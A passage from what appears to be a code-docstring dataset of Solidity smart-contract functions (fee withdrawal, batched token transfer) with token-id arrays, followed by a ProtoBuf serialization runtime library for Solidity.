// Protect against obviously incorrect calls.
require(destinations.length == values.length);
// Loop through each destination and perform the transfer.
uint256 i = 0;
while (i < destinations.length) {
Nomin(tokenAddress).transferSenderPaysFee(destinations[i], values[i]);
i += 1;
}
}
} | * @notice Compute the last period's fee entitlement for the message sender and then deposit it into their nomin account./ Do not deposit fees into frozen accounts. */ Check the period has rolled over first. */ Only allow accounts to withdraw fees once per period. */ | function withdrawFees()
external
optionalProxy
{
address sender = messageSender;
rolloverFeePeriodIfElapsed();
require(!nomin.frozen(sender));
updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply());
require(!hasWithdrawnFees[sender]);
uint feesOwed;
uint lastTotalIssued = totalIssuanceData.lastAverageBalance;
if (lastTotalIssued > 0) {
feesOwed = safeDiv_dec(
safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected),
lastTotalIssued
);
hasWithdrawnFees[sender] = true;
if (feesOwed != 0) {
nomin.withdrawFees(sender, feesOwed);
}
emitFeesWithdrawn(messageSender, feesOwed);
}
| 2,249,182 | [
1,
7018,
326,
1142,
3879,
10,
5520,
31,
87,
14036,
3281,
19025,
364,
326,
883,
5793,
471,
1508,
443,
1724,
518,
1368,
3675,
12457,
267,
2236,
18,
19,
2256,
486,
443,
1724,
1656,
281,
1368,
12810,
9484,
18,
342,
2073,
326,
3879,
711,
28693,
1879,
1122,
18,
342,
5098,
1699,
9484,
358,
598,
9446,
1656,
281,
3647,
1534,
3879,
18,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
2954,
281,
1435,
203,
3639,
3903,
203,
3639,
3129,
3886,
203,
565,
288,
203,
3639,
1758,
5793,
273,
883,
12021,
31,
203,
3639,
10643,
21896,
14667,
5027,
2047,
28827,
5621,
203,
3639,
2583,
12,
5,
12306,
267,
18,
28138,
12,
15330,
10019,
203,
203,
3639,
1089,
7568,
89,
1359,
751,
12,
15330,
16,
12457,
2679,
7568,
5957,
63,
15330,
6487,
12457,
267,
18,
4963,
3088,
1283,
10663,
203,
203,
3639,
2583,
12,
5,
5332,
1190,
9446,
82,
2954,
281,
63,
15330,
19226,
203,
203,
3639,
2254,
1656,
281,
3494,
329,
31,
203,
3639,
2254,
1142,
5269,
7568,
5957,
273,
2078,
7568,
89,
1359,
751,
18,
2722,
17115,
13937,
31,
203,
203,
3639,
309,
261,
2722,
5269,
7568,
5957,
405,
374,
13,
288,
203,
5411,
1656,
281,
3494,
329,
273,
4183,
7244,
67,
4924,
12,
203,
7734,
4183,
27860,
67,
4924,
12,
1054,
89,
1359,
751,
63,
15330,
8009,
2722,
17115,
13937,
16,
1142,
2954,
281,
10808,
329,
3631,
203,
7734,
1142,
5269,
7568,
5957,
203,
5411,
11272,
203,
203,
3639,
711,
1190,
9446,
82,
2954,
281,
63,
15330,
65,
273,
638,
31,
203,
203,
3639,
309,
261,
3030,
281,
3494,
329,
480,
374,
13,
288,
203,
5411,
12457,
267,
18,
1918,
9446,
2954,
281,
12,
15330,
16,
1656,
281,
3494,
329,
1769,
203,
3639,
289,
203,
3639,
3626,
2954,
281,
1190,
9446,
82,
12,
2150,
12021,
16,
1656,
281,
3494,
329,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/97/0x88422CC30E020074f36b933E0Cd4d3041D6B4Fa5/sources/project_/contracts/DecubateMasterChef.sol | * @dev safe TOKEN transfer function, require to have enough TOKEN to transfer/ | function safeTOKENTransfer(
address _token,
address _to,
uint256 _amount
) internal {
IERC20Upgradeable token = IERC20Upgradeable(_token);
uint256 bal = token.balanceOf(address(this));
require(bal >= _amount, "Not enough funds in treasury");
uint256 maxTx = maxTransferAmount[_token];
uint256 amount = _amount;
while (amount > maxTx) {
token.transfer(_to, maxTx);
amount = amount - maxTx;
}
if (amount > 0) {
token.transfer(_to, amount);
}
}
| 11,353,322 | [
1,
4626,
14275,
7412,
445,
16,
2583,
358,
1240,
7304,
14275,
358,
7412,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
4183,
8412,
5912,
12,
203,
565,
1758,
389,
2316,
16,
203,
565,
1758,
389,
869,
16,
203,
565,
2254,
5034,
389,
8949,
203,
225,
262,
2713,
288,
203,
565,
467,
654,
39,
3462,
10784,
429,
1147,
273,
467,
654,
39,
3462,
10784,
429,
24899,
2316,
1769,
203,
565,
2254,
5034,
324,
287,
273,
1147,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
565,
2583,
12,
70,
287,
1545,
389,
8949,
16,
315,
1248,
7304,
284,
19156,
316,
9787,
345,
22498,
8863,
203,
203,
565,
2254,
5034,
943,
4188,
273,
943,
5912,
6275,
63,
67,
2316,
15533,
203,
565,
2254,
5034,
3844,
273,
389,
8949,
31,
203,
203,
565,
1323,
261,
8949,
405,
943,
4188,
13,
288,
203,
1377,
1147,
18,
13866,
24899,
869,
16,
943,
4188,
1769,
203,
1377,
3844,
273,
3844,
300,
943,
4188,
31,
203,
565,
289,
203,
203,
565,
309,
261,
8949,
405,
374,
13,
288,
203,
1377,
1147,
18,
13866,
24899,
869,
16,
3844,
1769,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title Runtime library for ProtoBuf serialization and/or deserialization.
* All ProtoBuf generated code will use this library.
*/
library ProtoBufRuntime {
// Types defined in ProtoBuf
enum WireType { Varint, Fixed64, LengthDelim, StartGroup, EndGroup, Fixed32 }
// Constants for bytes calculation
uint256 constant WORD_LENGTH = 32;
uint256 constant HEADER_SIZE_LENGTH_IN_BYTES = 4;
uint256 constant BYTE_SIZE = 8;
uint256 constant REMAINING_LENGTH = WORD_LENGTH - HEADER_SIZE_LENGTH_IN_BYTES;
string constant OVERFLOW_MESSAGE = "length overflow";
//Storages
/**
* @dev Encode to storage location using assembly to save storage space.
* @param location The location of storage
* @param encoded The encoded ProtoBuf bytes
*/
function encodeStorage(bytes storage location, bytes memory encoded)
internal
{
/**
* This code use the first four bytes as size,
* and then put the rest of `encoded` bytes.
*/
uint256 length = encoded.length;
uint256 firstWord;
uint256 wordLength = WORD_LENGTH;
uint256 remainingLength = REMAINING_LENGTH;
assembly {
firstWord := mload(add(encoded, wordLength))
}
firstWord =
(firstWord >> (BYTE_SIZE * HEADER_SIZE_LENGTH_IN_BYTES)) |
(length << (BYTE_SIZE * REMAINING_LENGTH));
assembly {
sstore(location.slot, firstWord)
}
if (length > REMAINING_LENGTH) {
length -= REMAINING_LENGTH;
for (uint256 i = 0; i < ceil(length, WORD_LENGTH); i++) {
assembly {
let offset := add(mul(i, wordLength), remainingLength)
let slotIndex := add(i, 1)
sstore(
add(location.slot, slotIndex),
mload(add(add(encoded, wordLength), offset))
)
}
}
}
}
/**
* @dev Decode storage location using assembly using the format in `encodeStorage`.
* @param location The location of storage
* @return The encoded bytes
*/
function decodeStorage(bytes storage location)
internal
view
returns (bytes memory)
{
/**
* This code is to decode the first four bytes as size,
* and then decode the rest using the decoded size.
*/
uint256 firstWord;
uint256 remainingLength = REMAINING_LENGTH;
uint256 wordLength = WORD_LENGTH;
assembly {
firstWord := sload(location.slot)
}
uint256 length = firstWord >> (BYTE_SIZE * REMAINING_LENGTH);
bytes memory encoded = new bytes(length);
assembly {
mstore(add(encoded, remainingLength), firstWord)
}
if (length > REMAINING_LENGTH) {
length -= REMAINING_LENGTH;
for (uint256 i = 0; i < ceil(length, WORD_LENGTH); i++) {
assembly {
let offset := add(mul(i, wordLength), remainingLength)
let slotIndex := add(i, 1)
mstore(
add(add(encoded, wordLength), offset),
sload(add(location.slot, slotIndex))
)
}
}
}
return encoded;
}
/**
* @dev Fast memory copy of bytes using assembly.
* @param src The source memory address
* @param dest The destination memory address
* @param len The length of bytes to copy
*/
function copyBytes(uint256 src, uint256 dest, uint256 len) internal pure {
// Copy word-length chunks while possible
for (; len > WORD_LENGTH; len -= WORD_LENGTH) {
assembly {
mstore(dest, mload(src))
}
dest += WORD_LENGTH;
src += WORD_LENGTH;
}
// Copy remaining bytes
uint256 mask = 256**(WORD_LENGTH - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/**
* @dev Use assembly to get memory address.
* @param r The in-memory bytes array
* @return The memory address of `r`
*/
function getMemoryAddress(bytes memory r) internal pure returns (uint256) {
uint256 addr;
assembly {
addr := r
}
return addr;
}
/**
* @dev Implement Math function of ceil
* @param a The denominator
* @param m The numerator
* @return r The result of ceil(a/m)
*/
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
return (a + m - 1) / m;
}
// Decoders
/**
* This section of code `_decode_(u)int(32|64)`, `_decode_enum` and `_decode_bool`
* is to decode ProtoBuf native integers,
* using the `varint` encoding.
*/
/**
* @dev Decode integers
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded integer
* @return The length of `bs` used to get decoded
*/
function _decode_uint32(uint256 p, bytes memory bs)
internal
pure
returns (uint32, uint256)
{
(uint256 varint, uint256 sz) = _decode_varint(p, bs);
return (uint32(varint), sz);
}
/**
* @dev Decode integers
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded integer
* @return The length of `bs` used to get decoded
*/
function _decode_uint64(uint256 p, bytes memory bs)
internal
pure
returns (uint64, uint256)
{
(uint256 varint, uint256 sz) = _decode_varint(p, bs);
return (uint64(varint), sz);
}
/**
* @dev Decode integers
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded integer
* @return The length of `bs` used to get decoded
*/
function _decode_int32(uint256 p, bytes memory bs)
internal
pure
returns (int32, uint256)
{
(uint256 varint, uint256 sz) = _decode_varint(p, bs);
int32 r;
assembly {
r := varint
}
return (r, sz);
}
/**
* @dev Decode integers
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded integer
* @return The length of `bs` used to get decoded
*/
function _decode_int64(uint256 p, bytes memory bs)
internal
pure
returns (int64, uint256)
{
(uint256 varint, uint256 sz) = _decode_varint(p, bs);
int64 r;
assembly {
r := varint
}
return (r, sz);
}
/**
* @dev Decode enum
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded enum's integer
* @return The length of `bs` used to get decoded
*/
function _decode_enum(uint256 p, bytes memory bs)
internal
pure
returns (int64, uint256)
{
return _decode_int64(p, bs);
}
/**
* @dev Decode enum
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded boolean
* @return The length of `bs` used to get decoded
*/
function _decode_bool(uint256 p, bytes memory bs)
internal
pure
returns (bool, uint256)
{
(uint256 varint, uint256 sz) = _decode_varint(p, bs);
if (varint == 0) {
return (false, sz);
}
return (true, sz);
}
/**
* This section of code `_decode_sint(32|64)`
* is to decode ProtoBuf native signed integers,
* using the `zig-zag` encoding.
*/
/**
* @dev Decode signed integers
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded integer
* @return The length of `bs` used to get decoded
*/
function _decode_sint32(uint256 p, bytes memory bs)
internal
pure
returns (int32, uint256)
{
(int256 varint, uint256 sz) = _decode_varints(p, bs);
return (int32(varint), sz);
}
/**
* @dev Decode signed integers
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded integer
* @return The length of `bs` used to get decoded
*/
function _decode_sint64(uint256 p, bytes memory bs)
internal
pure
returns (int64, uint256)
{
(int256 varint, uint256 sz) = _decode_varints(p, bs);
return (int64(varint), sz);
}
/**
* @dev Decode string
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded string
* @return The length of `bs` used to get decoded
*/
function _decode_string(uint256 p, bytes memory bs)
internal
pure
returns (string memory, uint256)
{
(bytes memory x, uint256 sz) = _decode_lendelim(p, bs);
return (string(x), sz);
}
/**
* @dev Decode bytes array
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded bytes array
* @return The length of `bs` used to get decoded
*/
function _decode_bytes(uint256 p, bytes memory bs)
internal
pure
returns (bytes memory, uint256)
{
return _decode_lendelim(p, bs);
}
/**
* @dev Decode ProtoBuf key
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded field ID
* @return The decoded WireType specified in ProtoBuf
* @return The length of `bs` used to get decoded
*/
function _decode_key(uint256 p, bytes memory bs)
internal
pure
returns (uint256, WireType, uint256)
{
(uint256 x, uint256 n) = _decode_varint(p, bs);
WireType typeId = WireType(x & 7);
uint256 fieldId = x / 8;
return (fieldId, typeId, n);
}
/**
* @dev Decode ProtoBuf varint
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded unsigned integer
* @return The length of `bs` used to get decoded
*/
function _decode_varint(uint256 p, bytes memory bs)
internal
pure
returns (uint256, uint256)
{
/**
* Read a byte.
* Use the lower 7 bits and shift it to the left,
* until the most significant bit is 0.
* Refer to https://developers.google.com/protocol-buffers/docs/encoding
*/
uint256 x = 0;
uint256 sz = 0;
uint256 length = bs.length + WORD_LENGTH;
assembly {
let b := 0x80
p := add(bs, p)
for {
} eq(0x80, and(b, 0x80)) {
} {
if eq(lt(sub(p, bs), length), 0) {
mstore(
0,
0x08c379a000000000000000000000000000000000000000000000000000000000
) //error function selector
mstore(4, 32)
mstore(36, 15)
mstore(
68,
0x6c656e677468206f766572666c6f770000000000000000000000000000000000
) // length overflow in hex
revert(0, 83)
}
let tmp := mload(p)
let pos := 0
for {
} and(eq(0x80, and(b, 0x80)), lt(pos, 32)) {
} {
if eq(lt(sub(p, bs), length), 0) {
mstore(
0,
0x08c379a000000000000000000000000000000000000000000000000000000000
) //error function selector
mstore(4, 32)
mstore(36, 15)
mstore(
68,
0x6c656e677468206f766572666c6f770000000000000000000000000000000000
) // length overflow in hex
revert(0, 83)
}
b := byte(pos, tmp)
x := or(x, shl(mul(7, sz), and(0x7f, b)))
sz := add(sz, 1)
pos := add(pos, 1)
p := add(p, 0x01)
}
}
}
return (x, sz);
}
/**
* @dev Decode ProtoBuf zig-zag encoding
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded signed integer
* @return The length of `bs` used to get decoded
*/
function _decode_varints(uint256 p, bytes memory bs)
internal
pure
returns (int256, uint256)
{
/**
* Refer to https://developers.google.com/protocol-buffers/docs/encoding
*/
(uint256 u, uint256 sz) = _decode_varint(p, bs);
int256 s;
assembly {
s := xor(shr(1, u), add(not(and(u, 1)), 1))
}
return (s, sz);
}
/**
* @dev Decode ProtoBuf fixed-length encoding
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded unsigned integer
* @return The length of `bs` used to get decoded
*/
function _decode_uintf(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (uint256, uint256)
{
/**
* Refer to https://developers.google.com/protocol-buffers/docs/encoding
*/
uint256 x = 0;
uint256 length = bs.length + WORD_LENGTH;
assert(p + sz <= length);
assembly {
let i := 0
p := add(bs, p)
let tmp := mload(p)
for {
} lt(i, sz) {
} {
x := or(x, shl(mul(8, i), byte(i, tmp)))
p := add(p, 0x01)
i := add(i, 1)
}
}
return (x, sz);
}
/**
* `_decode_(s)fixed(32|64)` is the concrete implementation of `_decode_uintf`
*/
function _decode_fixed32(uint256 p, bytes memory bs)
internal
pure
returns (uint32, uint256)
{
(uint256 x, uint256 sz) = _decode_uintf(p, bs, 4);
return (uint32(x), sz);
}
function _decode_fixed64(uint256 p, bytes memory bs)
internal
pure
returns (uint64, uint256)
{
(uint256 x, uint256 sz) = _decode_uintf(p, bs, 8);
return (uint64(x), sz);
}
function _decode_sfixed32(uint256 p, bytes memory bs)
internal
pure
returns (int32, uint256)
{
(uint256 x, uint256 sz) = _decode_uintf(p, bs, 4);
int256 r;
assembly {
r := x
}
return (int32(r), sz);
}
function _decode_sfixed64(uint256 p, bytes memory bs)
internal
pure
returns (int64, uint256)
{
(uint256 x, uint256 sz) = _decode_uintf(p, bs, 8);
int256 r;
assembly {
r := x
}
return (int64(r), sz);
}
/**
* @dev Decode bytes array
* @param p The memory offset of `bs`
* @param bs The bytes array to be decoded
* @return The decoded bytes array
* @return The length of `bs` used to get decoded
*/
function _decode_lendelim(uint256 p, bytes memory bs)
internal
pure
returns (bytes memory, uint256)
{
/**
* First read the size encoded in `varint`, then use the size to read bytes.
*/
(uint256 len, uint256 sz) = _decode_varint(p, bs);
bytes memory b = new bytes(len);
uint256 length = bs.length + WORD_LENGTH;
assert(p + sz + len <= length);
uint256 sourcePtr;
uint256 destPtr;
assembly {
destPtr := add(b, 32)
sourcePtr := add(add(bs, p), sz)
}
copyBytes(sourcePtr, destPtr, len);
return (b, sz + len);
}
// Encoders
/**
* @dev Encode ProtoBuf key
* @param x The field ID
* @param wt The WireType specified in ProtoBuf
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The length of encoded bytes
*/
function _encode_key(uint256 x, WireType wt, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 i;
assembly {
i := or(mul(x, 8), mod(wt, 8))
}
return _encode_varint(i, p, bs);
}
/**
* @dev Encode ProtoBuf varint
* @param x The unsigned integer to be encoded
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The length of encoded bytes
*/
function _encode_varint(uint256 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
/**
* Refer to https://developers.google.com/protocol-buffers/docs/encoding
*/
uint256 sz = 0;
assembly {
let bsptr := add(bs, p)
let byt := and(x, 0x7f)
for {
} gt(shr(7, x), 0) {
} {
mstore8(bsptr, or(0x80, byt))
bsptr := add(bsptr, 1)
sz := add(sz, 1)
x := shr(7, x)
byt := and(x, 0x7f)
}
mstore8(bsptr, byt)
sz := add(sz, 1)
}
return sz;
}
/**
* @dev Encode ProtoBuf zig-zag encoding
* @param x The signed integer to be encoded
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The length of encoded bytes
*/
function _encode_varints(int256 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
/**
* Refer to https://developers.google.com/protocol-buffers/docs/encoding
*/
uint256 encodedInt = _encode_zigzag(x);
return _encode_varint(encodedInt, p, bs);
}
/**
* @dev Encode ProtoBuf bytes
* @param xs The bytes array to be encoded
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The length of encoded bytes
*/
function _encode_bytes(bytes memory xs, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint256 xsLength = xs.length;
uint256 sz = _encode_varint(xsLength, p, bs);
uint256 count = 0;
assembly {
let bsptr := add(bs, add(p, sz))
let xsptr := add(xs, 32)
for {
} lt(count, xsLength) {
} {
mstore8(bsptr, byte(0, mload(xsptr)))
bsptr := add(bsptr, 1)
xsptr := add(xsptr, 1)
count := add(count, 1)
}
}
return sz + count;
}
/**
* @dev Encode ProtoBuf string
* @param xs The string to be encoded
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The length of encoded bytes
*/
function _encode_string(string memory xs, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_bytes(bytes(xs), p, bs);
}
/**
* `_encode_(u)int(32|64)`, `_encode_enum` and `_encode_bool`
* are concrete implementation of `_encode_varint`
*/
function _encode_uint32(uint32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_varint(x, p, bs);
}
function _encode_uint64(uint64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_varint(x, p, bs);
}
function _encode_int32(int32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint64 twosComplement;
assembly {
twosComplement := x
}
return _encode_varint(twosComplement, p, bs);
}
function _encode_int64(int64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint64 twosComplement;
assembly {
twosComplement := x
}
return _encode_varint(twosComplement, p, bs);
}
function _encode_enum(int32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_int32(x, p, bs);
}
function _encode_bool(bool x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
if (x) {
return _encode_varint(1, p, bs);
} else return _encode_varint(0, p, bs);
}
/**
* `_encode_sint(32|64)`, `_encode_enum` and `_encode_bool`
* are the concrete implementation of `_encode_varints`
*/
function _encode_sint32(int32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_varints(x, p, bs);
}
function _encode_sint64(int64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_varints(x, p, bs);
}
/**
* `_encode_(s)fixed(32|64)` is the concrete implementation of `_encode_uintf`
*/
function _encode_fixed32(uint32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_uintf(x, p, bs, 4);
}
function _encode_fixed64(uint64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
return _encode_uintf(x, p, bs, 8);
}
function _encode_sfixed32(int32 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint32 twosComplement;
assembly {
twosComplement := x
}
return _encode_uintf(twosComplement, p, bs, 4);
}
function _encode_sfixed64(int64 x, uint256 p, bytes memory bs)
internal
pure
returns (uint256)
{
uint64 twosComplement;
assembly {
twosComplement := x
}
return _encode_uintf(twosComplement, p, bs, 8);
}
/**
* @dev Encode ProtoBuf fixed-length integer
* @param x The unsigned integer to be encoded
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The length of encoded bytes
*/
function _encode_uintf(uint256 x, uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (uint256)
{
assembly {
let bsptr := add(sz, add(bs, p))
let count := sz
for {
} gt(count, 0) {
} {
bsptr := sub(bsptr, 1)
mstore8(bsptr, byte(sub(32, count), x))
count := sub(count, 1)
}
}
return sz;
}
/**
* @dev Encode ProtoBuf zig-zag signed integer
* @param i The unsigned integer to be encoded
* @return The encoded unsigned integer
*/
function _encode_zigzag(int256 i) internal pure returns (uint256) {
if (i >= 0) {
return uint256(i) * 2;
} else return uint256(i * -2) - 1;
}
// Estimators
/**
* @dev Estimate the length of encoded LengthDelim
* @param i The length of LengthDelim
* @return The estimated encoded length
*/
function _sz_lendelim(uint256 i) internal pure returns (uint256) {
return i + _sz_varint(i);
}
/**
* @dev Estimate the length of encoded ProtoBuf field ID
* @param i The field ID
* @return The estimated encoded length
*/
function _sz_key(uint256 i) internal pure returns (uint256) {
if (i < 16) {
return 1;
} else if (i < 2048) {
return 2;
} else if (i < 262144) {
return 3;
} else {
revert("not supported");
}
}
/**
* @dev Estimate the length of encoded ProtoBuf varint
* @param i The unsigned integer
* @return The estimated encoded length
*/
function _sz_varint(uint256 i) internal pure returns (uint256) {
uint256 count = 1;
assembly {
i := shr(7, i)
for {
} gt(i, 0) {
} {
i := shr(7, i)
count := add(count, 1)
}
}
return count;
}
/**
* `_sz_(u)int(32|64)` and `_sz_enum` are the concrete implementation of `_sz_varint`
*/
function _sz_uint32(uint32 i) internal pure returns (uint256) {
return _sz_varint(i);
}
function _sz_uint64(uint64 i) internal pure returns (uint256) {
return _sz_varint(i);
}
function _sz_int32(int32 i) internal pure returns (uint256) {
if (i < 0) {
return 10;
} else return _sz_varint(uint32(i));
}
function _sz_int64(int64 i) internal pure returns (uint256) {
if (i < 0) {
return 10;
} else return _sz_varint(uint64(i));
}
function _sz_enum(int64 i) internal pure returns (uint256) {
if (i < 0) {
return 10;
} else return _sz_varint(uint64(i));
}
/**
* `_sz_sint(32|64)` and `_sz_enum` are the concrete implementation of zig-zag encoding
*/
function _sz_sint32(int32 i) internal pure returns (uint256) {
return _sz_varint(_encode_zigzag(i));
}
function _sz_sint64(int64 i) internal pure returns (uint256) {
return _sz_varint(_encode_zigzag(i));
}
// Soltype extensions
/**
* @dev Decode Solidity integer and/or fixed-size bytes array, filling from lowest bit.
* @param n The maximum number of bytes to read
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The bytes32 representation
* @return The number of bytes used to decode
*/
function _decode_sol_bytesN_lower(uint8 n, uint256 p, bytes memory bs)
internal
pure
returns (bytes32, uint256)
{
uint256 r;
(uint256 len, uint256 sz) = _decode_varint(p, bs);
if (len + sz > n + 3) {
revert(OVERFLOW_MESSAGE);
}
p += 3;
assert(p < bs.length + WORD_LENGTH);
assembly {
r := mload(add(p, bs))
}
for (uint256 i = len - 2; i < WORD_LENGTH; i++) {
r /= 256;
}
return (bytes32(r), len + sz);
}
/**
* @dev Decode Solidity integer and/or fixed-size bytes array, filling from highest bit.
* @param n The maximum number of bytes to read
* @param p The offset of bytes array `bs`
* @param bs The bytes array to encode
* @return The bytes32 representation
* @return The number of bytes used to decode
*/
function _decode_sol_bytesN(uint8 n, uint256 p, bytes memory bs)
internal
pure
returns (bytes32, uint256)
{
(uint256 len, uint256 sz) = _decode_varint(p, bs);
uint256 wordLength = WORD_LENGTH;
uint256 byteSize = BYTE_SIZE;
if (len + sz > n + 3) {
revert(OVERFLOW_MESSAGE);
}
p += 3;
bytes32 acc;
assert(p < bs.length + WORD_LENGTH);
assembly {
acc := mload(add(p, bs))
let difference := sub(wordLength, sub(len, 2))
let bits := mul(byteSize, difference)
acc := shl(bits, shr(bits, acc))
}
return (acc, len + sz);
}
/*
* `_decode_sol*` are the concrete implementation of decoding Solidity types
*/
function _decode_sol_address(uint256 p, bytes memory bs)
internal
pure
returns (address, uint256)
{
(bytes32 r, uint256 sz) = _decode_sol_bytesN(20, p, bs);
return (address(bytes20(r)), sz);
}
function _decode_sol_bool(uint256 p, bytes memory bs)
internal
pure
returns (bool, uint256)
{
(uint256 r, uint256 sz) = _decode_sol_uintN(1, p, bs);
if (r == 0) {
return (false, sz);
}
return (true, sz);
}
function _decode_sol_uint(uint256 p, bytes memory bs)
internal
pure
returns (uint256, uint256)
{
return _decode_sol_uint256(p, bs);
}
function _decode_sol_uintN(uint8 n, uint256 p, bytes memory bs)
internal
pure
returns (uint256, uint256)
{
(bytes32 u, uint256 sz) = _decode_sol_bytesN_lower(n, p, bs);
uint256 r;
assembly {
r := u
}
return (r, sz);
}
